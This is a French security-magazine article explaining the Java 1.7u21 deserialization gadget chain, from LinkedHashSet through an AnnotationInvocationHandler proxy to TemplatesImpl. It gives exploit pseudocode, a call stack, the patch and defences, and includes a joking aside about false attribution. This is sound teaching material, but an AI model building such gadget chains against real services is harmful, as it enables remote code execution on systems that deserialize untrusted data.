
# DÉSÉRIALISATION JAVA : UNE BRÈVE INTRODUCTION AU ROP DE HAUT NIVEAU

Alexandre BARTEL – Jacques KLEIN – Yves LE TRAON
*Uni.lu / SnT*

**mots-clés :** ***EXPLOIT / JAVA / DÉSÉRIALISATION / EXÉCUTION DE CODE ARBITRAIRE / RCE***

*Les processus de sérialisation et de désérialisation Java ne manipulent que des données et non du code. Malheureusement, comme pour une chaîne ROP, il est possible de combiner des « gadgets » Java pour exécuter du code arbitraire lorsque la désérialisation s'effectue sur des données contrôlées par un attaquant. Nous présentons dans cet article une vulnérabilité de désérialisation affectant directement les libraires standards de la machine virtuelle Java.*

## 1 Introduction

Dans un article précédent de *MISC* **[16]**, nous avons analysé le processus de sérialisation et de désérialisation Java. Nous avons présenté la méthode `getTransletInstance()` de la classe `TemplatesImpl` comme une méthode « dangereuse », car elle permet de créer une classe en fonction de données à désérialiser contrôlées par un attaquant. Nous verrons dans cet article comment un utilisateur mal intentionné peut exécuter du code arbitraire en créant une certaine séquence d'objets à désérialiser pour exécuter `getTransletInstance()`.

Pour commencer, nous allons décrire comment exploiter cette vulnérabilité présente dans les classes de la machine virtuelle Java 1.7 dans la section 2. Ensuite, dans la section 3, nous présentons les principales approches pour nous prémunir des attaques de désérialisation en Java.

## 2 Vulnérabilité dans les classes de la JVM

La vulnérabilité de la méthode `getTransletInstance()` de la classe `TemplatesImpl` présentée ici est le fruit du travail de Chris Frohoff **[1]**. Elle est présente depuis les versions 1.6 jusqu'à la version 1.7 update 21 de la JVM et permet à un attaquant d'exécuter du code arbitraire si le programme cible désérialise un flux d'octets contrôlé par l'attaquant. Pour que l'attaque fonctionne, il faut trouver s'il existe un chemin d'exécution depuis `readObject()` jusqu'à `getTransletInstance()`.

### 2.1 Trouver un chemin depuis readObject()

La méthode `getTransletInstance()` est privée et ne peut donc pas être appelée par du code autre que le code de la classe `TemplatesImpl`. Elle est effectivement appelée par la méthode `newTransformer()` qui, elle, est publique :

```
    public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(),
_outputProperties,
            _indentNumber, _tfactory);

[...]
        return transformer;
    }
```

De plus, `newTransformer()` est aussi atteignable via `getOutputProperties()` qui est aussi une méthode publique :

```
    public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
[...]
    }
```

Comment appeler `newTransformer()` ou `getOutputProperties()`? Pour comprendre, accrochez vos ceintures, on va parler de proxy.

Un proxy est un patron de conception qui va jouer le rôle d'intermédiaire (pour accéder à une classe par exemple) **[2]**. De manière très concrète, un proxy Java est une classe générée au runtime qui implémente une ou plusieurs interfaces. Un proxy est associé avec un gestionnaire d'invocation (représenté par la classe `InvocationHandler` en Java) qui implémente la méthode `invoke()`. Chaque fois qu'une méthode `m()` d'une interface implémentée par le proxy `p` est appelée, l'appel va être redirigé vers la méthode `invoke()` du gestionnaire d'invocation. Cette méthode `invoke()` prend comme paramètres un objet de type `java.lang.reflect.Method` qui représente la méthode `m` de l'interface proxy qui a été appelée ainsi qu'un tableau d'objets qui représente les paramètres de `m` **[3]**. En plus des méthodes des interfaces, le proxy va implémenter les méthodes `hashCode()`, `equals()` et `toString()` qui vont aussi être redirigées vers la méthode `invoke()`. L'implémentation de cette méthode `invoke()` va définir le comportement du proxy. Y a-t-il des gestionnaires d'invocation intéressants dans la JCL ?

Oui. Regardons plus en détail la classe `sun.reflect.annotation.AnnotationInvocationHandler` qui implémente l'interface `InvocationHandler` et qui est sérialisable. Sa méthode `invoke()` va rediriger les appels d'`equals(Object o)` vers sa méthode `equalsImpl(Object o)`. Comme illustré ci-dessous, celle-ci va itérer sur les méthodes retournées par `getMemberMethods()` et exécuter chaque méthode sur l'objet `o` :

```
    private Boolean equalsImpl(final Object o) {
        if (o == this) {
            return true;
        }
        if (!this.type.isInstance(o)) {
            return false;
        }
        for (final Method method : this.getMemberMethods()) {
            final String name = method.getName();
            final Object value = this.memberValues.get(name);
            final AnnotationInvocationHandler oneOfUs = this.asOneOfUs(o);
            Object o2;
            if (oneOfUs != null) {
                o2 = oneOfUs.memberValues.get(name);
            }
            else {
                try {
                    o2 = method.invoke(o, new Object[0]);
                }
[...]
            }
            return true;
        }
```

La méthode `getMemberMethods()`, dont le code est ci-dessous, va retourner la liste des méthodes du champ `type`.

```
    private Method[] getMemberMethods() {
        if (this.memberMethods == null) {
            this.memberMethods = AccessController.doPrivileged((PrivilegedAction<Method[]>)new PrivilegedAction<Method[]>() {
                @Override
                public Method[] run() {
                    final Method[] declaredMethods = AnnotationInvocationHandler.this.type.getDeclaredMethods();
                    AccessibleObject.setAccessible(declaredMethods, true);
                    return declaredMethods;
                }
            });
        }
        return this.memberMethods;
    }
```

Le champ `type` est déclaré comme suit :

```
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
        private static final long serialVersionUID = 6182022883658399397L;
        private final Class<? extends Annotation> type;
        private final Map<String, Object> memberValues;
        private transient volatile Method[] memberMethods;
[...]
}
```

En théorie, `type` doit être une référence vers une classe dont le type est une sous-classe de la classe `Annotation`. En pratique, le véritable type de `type` est `java.lang.Class`. La contrainte `< ? extends Annotation>` n'est pas vérifiée automatiquement. Du coup, via le moteur de réflexion Java, il est possible d'affecter n'importe quelle sous-classe de `java.lang.Class` au champ `type`. Une classe intéressante serait une classe qui a la signature d'une méthode qui nous intéresse à savoir `newTransformer()` ou `getOutputProperties()`. Il se trouve que la classe `javax.xml.transform.Templates` contient la signature de la méthode `getOutputProperties()` :

```
public interface Templates {
    Transformer newTransformer() throws TransformerConfigurationException;

    Properties getOutputProperties();
}
```




Récapitulons : il est maintenant possible de créer un proxy **proxy** implémentant les méthodes de n'importe quelle interface (**java.lang.Cloneable** au hasard) et ayant **AnnotationInvocationHandler** comme gestionnaire d'invocation. L'interface importe peu, car la méthode du proxy intéressante est **equals()** qui est générée pour n'importe quelle interface. Lorsque la méthode **equals(Object o)** est appelée sur **proxy**, **AnnotationInvocationHandler** va rediriger l'appel vers la méthode **proxy.equalsImpl(Object o)**. Cette dernière va ensuite lister les méthodes de la classe référencée par le champ **proxy.type**. Pour chacune de ces méthodes **mt**, **equalsImpl()** va appeler **mt.invoke(o)**, c'est-à-dire un appel équivalent à **o.mt()**. Si **type** est initialisé avec une classe **c** qui implémente l'interface **Templates**, alors une méthode de la classe **c** est **getOutputProperties()**. Ainsi, l'attaquant va pouvoir exécuter le code de **TemplatesImpl** pour définir et instancier sa propre classe (comme expliqué dans **[16]**). Il reste à savoir comment appeler **proxy.equals(o)** et avec quel objet **o**.

Une technique consiste à utiliser une **LinkedHashMap** pour d'abord instancier **o** puis d'instancier le proxy et provoquer une collision de valeur de hachage, ce qui forcera l'exécution de la méthode **equals()**. Essayons de mieux comprendre ce qui se passe. À chaque fois qu'un élément sera inséré dans la table de hachage, la fonction suivante de **HashMap** (dont **LinkedHashMap** est une sous-classe) sera appelée :

```
public V put(K key, V value) {
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}
```

Pour que **key.equals(k)** soit appelée – ce qui correspondrait à **proxy.equals(o)** – il faut qu'**indexFor()** retourne le même indice pour l'alvéole de la table de hachage pour **proxy** et pour **o**. Il faut aussi que la condition **e.hash == hash** soit vraie (il y a collision) pour que l'évaluation de la condition du **if** continue et que la méthode **equals()** soit appelée. La classe de l'objet **o** doit implémenter la méthode cible, **getOutputProperties()**. C'est le cas de la classe **TemplatesImpl**. **TemplatesImpl** ne contient pas de méthode **hashCode()**, c'est donc la méthode par défaut qui est utilisée pour calculer la valeur de hachage. La valeur de hachage du proxy est calculée en fonction du gestionnaire d'invocation. Dans le cas qui nous intéresse, ce gestionnaire est **AnnotationInvocationHandler** et sa méthode de hachage est la suivante :

```
    private int hashCodeImpl() {
        int n = 0;
        for (final Map.Entry<String, Object> entry : this.
memberValues.entrySet()) {
            n += (127 * entry.getKey().hashCode() ^
memberValueHashCode(entry.getValue()));
        }
        return n;
    }

    private static int memberValueHashCode(final Object o) {
        final Class<?> class1 = o.getClass();
        if (!class1.isArray()) {
            return o.hashCode();
        }
[...]
    }
```

La valeur de hachage d'une instance d'**AnnotationInvocationHandler** est calculée en fonction des éléments du champ **memberValues**. Ce champ est une table de hachage **Map<String, Object>**. Pour avoir la même valeur de hachage que **TemplatesImpl**, il faudrait stocker une seule paire dans **memberValues** avec comme valeur une référence vers l'objet **TemplatesImpl** et il faudrait aussi que le code de hachage de la clé soit zéro. En effet, la valeur de hachage deviendrait alors :

127 * 0 ^ **TemplatesImpl.hashCode()**

= 0 ^ **TemplatesImpl.hashCode()**

= **TemplatesImpl.hashCode()**.

Est-ce si difficile de trouver une clé de type **String** qui ait pour valeur de hachage zéro ? Non, il y a plein de chaînes de caractères connues qui ont cette propriété comme la chaîne « f5a5a608 ». Le lecteur intéressé pourra lui-même écrire un simple programme pour identifier des chaînes de caractères ayant cette propriété.

## 2.2 Construction de l'exploit

Et voilà, une chaîne complète pour exécuter du code arbitraire depuis **readObject()** a été identifiée (voir les sections précédentes). Le pseudo code suivant résume le code de l'exploit :

```
Object templates = TemplatesImpl.class.newInstance();

// création d'une classe Toto (via ASM [18] par exemple)
// avec la méthode <clinit> contenant le code de l'attaquant
Class classe = [...]
byte[] classeBytecode = class.toBytecode();
```

```
// initialisation du champ _bytecode de l'instance templates
// via le moteur de reflexion
Reflexion.metChamp(templates, "_bytecodes", new byte[][] { classBytecode });

// Il est nécessaire d'initialiser les
// champs _name et _tfactory qui seront
// utilisés à l'exécution. Avec un peu de chinois
// de préférence pour l'attribution de l'attaque.
Reflexion.metChamp(templates, "_name", "安东宁, 阅读我通过邮件寄给你的文章! ");
Reflexion.metChamp(templates, "_tfactory", TransformerFactoryImpl.
newInstance());

// création du proxy avec une référence
// vers template pour avoir la même valeur
// de hachage que template
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, templates);
InvocationHandler ihandler = new AnnotationInvocationHandler(Override.class,
map);
Reflexion.metChamp(ihandler, "type", Templates.class);
Cloneable proxy = createProxy(ihandler, java.lang.Cloneable.class);

// création d'un HashSet pour forcer
// l'appel de proxy.equals(template)
LinkedHashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);

// l'objet 'set' peut maintenant être sérialisé
// et envoyé vers la cible
```

Lorsque la cible désérialise le flux d'octets généré par l'exploit, voici à quoi ressemble la pile d'appels lors de l'exécution arbitraire de code :

```
 29 Runtime.exec(String) line: 345
 28 Toto.<clinit>() line: not available
 27 NativeConstructorAccessorImpl.newInstance0(Constructor, Object[]) line:
not available [native method]
 26 NativeConstructorAccessorImpl.newInstance(Object[]) line: 57
 25 DelegatingConstructorAccessorImpl.newInstance(Object[]) line: 45
 24 Constructor<T>.newInstance(Object...) line: 525
 23 Class<T>.newInstance0() line: 374
 22 Class<T>.newInstance() line: 327
 21 TemplatesImpl.getTransletInstance() line: 380
 20 TemplatesImpl.newTransformer() line: 410
 19 TemplatesImpl.getOutputProperties() line: 431
 18 NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) line: not
available [native method]
 17 NativeMethodAccessorImpl.invoke(Object, Object[]) line: 57
 16 DelegatingMethodAccessorImpl.invoke(Object, Object[]) line: 43
 15 Method.invoke(Object, Object...) line: 601
 14 AnnotationInvocationHandler.equalsImpl(Object) line: 197
 13 AnnotationInvocationHandler.invoke(Object, Method, Object[]) line: 59
 12 $Proxy0.equals(Object) line: not available
 11 LinkedHashMap<K,V>(HashMap<K,V>).put(K, V) line: 475
 10 LinkedHashSet<E>(HashSet<E>).readObject(ObjectInputStream) line: 309
  9 NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) line: not
available [native method]
  8 NativeMethodAccessorImpl.invoke(Object, Object[]) line: 57
  7 DelegatingMethodAccessorImpl.invoke(Object, Object[]) line: 43
  6 Method.invoke(Object, Object...) line: 601
```




```
5 ObjectStreamClass.invokeReadObject(Object, ObjectInputStream) line: 1004
4 ObjectInputStream.readSerialData(Object, ObjectStreamClass) line: 1891
3 ObjectInputStream.readOrdinaryObject(boolean) line: 1796
2 ObjectInputStream.readObject0(boolean) line: 1348
1 ObjectInputStream.readObject() line: 370
0 CibleVulnerable.main(String[]) line: 67
```

L'appel zéro (tout en bas) représente le programme cible vulnérable qui va lire un flux d'octets via **readObject()** (appel 1). À l'appel 11, lors de la reconstruction de la table de hachage, le deuxième élément, **proxy**, est en train d'être inséré. Comme la valeur de hachage de **proxy** est la même que celle de **template** – le premier élément déjà inséré dans la table de hachage à ce moment-là – la méthode **equals()** est appelée (appel 12). Via le gestionnaire d'appel, cela conduit à l'exécution de la méthode **equalsImpl()** (ligne 14). Comme expliqué plus haut, le moteur de réflexion Java va alors invoquer la méthode **getOutputProperties()** (appel 19). Cette méthode va ensuite appeler **getTransletInstance()** (appel 21) qui va définir une classe **Toto** contrôlée par l'attaquant, puis appeler **newInstance()** pour créer une instance de cette classe **Toto**. Cela a pour effet d'appeler la méthode **Toto.<clinit>** pour initialiser la classe **Toto**. Cette méthode étant contrôlée par l'attaquant, il peut exécuter du code arbitraire. Dans notre cas, le code arbitraire exécute **Runtime.exec()** pour lancer des commandes en dehors de la JVM.

D'un point de vue « gadget », on peut considérer cet exploit comme la combinaison suivante :

- 1 gadget **LinkedHashSet** pour appeler la méthode **a.equals(b)** en contrôlant les objets **a** et **b**
- 1 gadget **Proxy** avec le gestionnaire d'invocation **AnnotationInvocationHandler** pour appeler une méthode sur l'objet **b**
- 1 gadget **TemplatesImpl** pour définir une nouvelle classe et l'instancier.

## 2.3 Patch

La version vulnérable désérialise un objet de type **AnnotationInvocationHandler**, même si le champ **type** n'est pas une sous-classe de la classe **Annotation**. Le correctif du code lance une exception lors de la désérialisation si cette contrainte n'est pas respectée :

```
$ diff ./jdk1.7.0_51/AnnotationInvocationHandler.java ./jdk1.7.0_21/
AnnotationInvocationHandler.java
8d7
< import java.io.InvalidObjectException;
290c289
<             throw new InvalidObjectException("Non-annotation type
in annotation serial stream");
---
>             return;
```

Évidemment, cela ne résout pas le problème de la désérialisation du tout, mais empêche uniquement l'exploitation d'une vulnérabilité bien précise.

## 2.4 Ysoserial

Le lecteur est maintenant armé pour comprendre le code des vulnérabilités de désérialisation publiques. La plupart des exploits pour ces vulnérabilités sont disponibles dans le projet ysoserial **[11]**. Au moins un tiers des exploits repose sur l'utilisation d'un gestionnaire d'appel (**InvocationHandler**). Les librairies vulnérables incluent Apache Commons Collections (3.x et 4.x), Spring Beans/Core (4.x), et Groovy (2.3.x). Cela signifie qu'un programme qui désérialise depuis une source non sûre et qui a une de ces librairies sur son *classpath* est vulnérable.

# 3 Parades

Comment peut-on essayer de se protéger des vulnérabilités de désérialisation en Java ? Il existe trois approches principales : supprimer les classes « sensibles » du *classpath*, utiliser un manager de sécurité ou mettre en place une liste noire ou une liste blanche. En plus de ces approches, nous verrons qu'Oracle envisage de remplacer le moteur de sérialisation.

## 3.1 Supprimer les classes

Une solution naïve consiste à supprimer les classes sensibles du *classpath*. Le point faible de cette approche est la gestion sur le long terme. Doit-on toujours supprimer les mêmes classes avec une mise à jour de la librairie X ? Que faire si une classe sensible est une classe de la JCL ? Comment évaluer l'impact de la suppression d'une classe de la JCL sur mon programme ? Cette approche ne fonctionne évidemment pas si les classes sensibles sont utilisées par le programme cible.

## 3.2 SecurityManager

Une solution – imparfaite, mais qui limite la surface d'attaque – consiste tout simplement à activer un manager de sécurité (**SecurityManager**). Avec sa configuration par défaut, le manager de sécurité ne donne aucune permission au code non-système. L'attaque présentée en 2.2 ne fonctionnera donc pas, car la méthode **Runtime.exec(commande)** va finir par appeler **ProcessBuilder.start()** qui va vérifier que l'appelant a bien la bonne permission. Ci-dessous est le code de la classe **Runtime** qui va instancier un **ProcessBuilder** :

```
public class Runtime {
[...]
    public Process exec(String[] cmdarray, String[] envp, File dir)
        throws IOException {
```

```
        return new ProcessBuilder(cmdarray)
            .environment(envp)
            .directory(dir)
            .start();
    }
[...]
}
```

La méthode **ProcessBuilder.start()** va vérifier les permissions des méthodes sur la pile d'appels avant d'effectuer l'appel de la commande :

```
public class ProcessBuilder {
[...]
    public Process start() throws IOException {
[...]

        SecurityManager security = System.getSecurityManager();
        if (security != null)
            security.checkExec(prog);
[...]
  }
}
```

Comme la classe **Toto** qui n'a aucune permission se trouve sur la pile d'appel lors de la vérification de permissions via **checkExec()**, la JVM va lancer une exception de type **SecurityException**.

Notons qu'activer le manager de sécurité ne fait que diminuer la surface d'attaque, mais n'empêchera pas un attaquant d'exécuter du code pour exploiter une autre vulnérabilité pour contourner ou désactiver le manager de sécurité par exemple.

## 3.3 Liste noire et liste blanche

Une autre solution est de définir une liste noire de classes qui ne pourront pas être désérialisées, car connues pour être utilisées dans des exploits. Cette fonctionnalité de filtrage ne fonctionne qu'à partir de Java 8 update 121 **[12] [13]**. Cette approche ne fonctionne que si la liste est complète, ce qui n'est pas toujours évident, car (1) il faut mettre à jour la liste lorsqu'une nouvelle vulnérabilité est connue et (2) une classe « sensible » à mettre dans la liste peut ne pas y figurer, car le programme en a besoin. Un système basé sur une liste blanche, au contraire, va uniquement autoriser la désérialisation de classes présentes dans la liste blanche. Il est malheureusement difficile de réaliser cette liste blanche (analyse manuelle + test) et en cas d'erreur les conséquences peuvent être fâcheuses (plantage du programme).

Dans les deux cas, la solution est de regarder « en avance » (*Look Ahead*) la classe présente dans le flux à désérialiser. Cependant, il existe déjà une technique **[5]** pour contourner ce mécanisme qui consiste à exploiter un gadget qui désérialise à partir d'une méthode de désérialisation :

```
public class NestedProblems implements Serializable {

  byte[] bytes ;
[...]
  private void readObject (ObjectInputStream in) throws
IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(bytes));
    ois.readObject();
  }

}
```

## 3.4 Le futur de la sérialisation Java

Oracle envisage de « remplacer » le moteur de sérialisation par un nouveau module basé sur des classes de données (*data classes*) aussi appelées enregistrements (*records*) **[13]**. D'après l' « architecte du langage Java » Brian Goetz, ces enregistrements permettraient d'obtenir de la sérialisation « sûre » **[15]** car, entre autres, les constructeurs ne pourraient plus être contournés. D'un point de vue sécurité, cette approche est positive, car elle permettrait de vérifier plus facilement l'intégrité des données désérialisées. Il reste à savoir comment cela va être implémenté (quels seront les compromis avec un impact sur la sécurité ?), et quels seront les coûts (en temps) pour migrer les centaines de projets reposants actuellement sur la sérialisation native vulnérable ?

# Conclusion

Comme nous venons de le voir, la sérialisation Java peut-être à l'origine d'une exécution de code à distance si les données sont contrôlées par un attaquant. Mais cela reste théorique vous allez me dire. Personne ne va songer à déployer un système qui désérialise des données contrôlées par l'utilisateur ! Malheureusement, les vulnérabilités de désérialisation sont une réalité et sont même classées dans le top 10 OWASP **[6]**. En ce qui concerne Java, on pourra citer une vulnérabilité découverte en 2015 dans les serveurs de PayPal **[7]**, une vulnérabilité découverte en 2016 qui permet d'exécuter du code au niveau du serveur système Android qui a toutes les permissions **[8]**, une autre découverte en 2017 qui affecte Jenkins **[9]**, un serveur pour automatiser des tâches et finalement une vulnérabilité découverte en 2018 qui affecte le module Cisco Secure Access Control System **[10]**. Plusieurs solutions existent pour lutter contre ce type de vulnérabilité : manager de sécurité, liste noire ou liste blanche. Cependant, aucune de ces solutions n'est parfaite. Il est donc recommandé par OWASP de désérialiser uniquement à partir de données provenant d'une source de confiance. ■

**Retrouvez toutes les références de cet article sur le blog de MISC : https://www.miscmag.com/.**